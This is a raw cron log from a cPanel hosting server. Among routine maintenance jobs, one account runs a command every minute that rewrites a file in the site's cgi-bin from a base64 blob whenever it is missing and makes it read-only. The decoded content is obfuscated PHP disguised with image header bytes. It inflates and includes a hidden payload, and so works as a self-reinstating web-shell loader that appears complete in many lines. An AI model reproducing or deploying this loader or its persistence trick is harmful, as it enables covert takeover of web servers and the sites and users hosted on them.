Sep  4 19:03:01 server CROND[14918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:03:01 server CROND[14919]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:03:01 server CROND[14920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:04:01 server CROND[15464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:04:01 server CROND[15463]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:04:01 server CROND[15465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:05:01 server CROND[15855]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 19:05:01 server CROND[15857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:05:01 server CROND[15859]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:05:01 server CROND[15863]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 19:05:01 server CROND[15858]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 19:05:01 server CROND[15862]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 19:05:01 server CROND[15864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:05:01 server CROND[15867]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 19:06:01 server CROND[16700]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:06:01 server CROND[16702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:06:01 server CROND[16703]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:07:01 server CROND[17071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:07:01 server CROND[17072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:07:01 server CROND[17073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:08:01 server CROND[17442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:08:01 server CROND[17443]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:08:01 server CROND[17444]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:09:01 server CROND[17810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:09:01 server CROND[17812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:09:01 server CROND[17811]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:09:01 server CROND[17813]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 19:10:01 server CROND[18329]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 19:10:01 server CROND[18331]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 19:10:01 server CROND[18333]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 19:10:01 server CROND[18335]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 19:10:01 server CROND[18336]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 19:10:01 server CROND[18337]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:10:01 server CROND[18339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:10:01 server CROND[18338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:11:01 server CROND[19170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:11:01 server CROND[19171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:11:01 server CROND[19172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:12:01 server CROND[19552]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 19:12:01 server CROND[19554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:12:01 server CROND[19555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:12:01 server CROND[19556]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:13:01 server CROND[19930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:13:01 server CROND[19931]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:13:01 server CROND[19932]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:14:01 server CROND[20306]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:14:01 server CROND[20305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:14:01 server CROND[20307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:15:01 server CROND[20793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:15:01 server CROND[20795]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 19:15:01 server CROND[20798]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
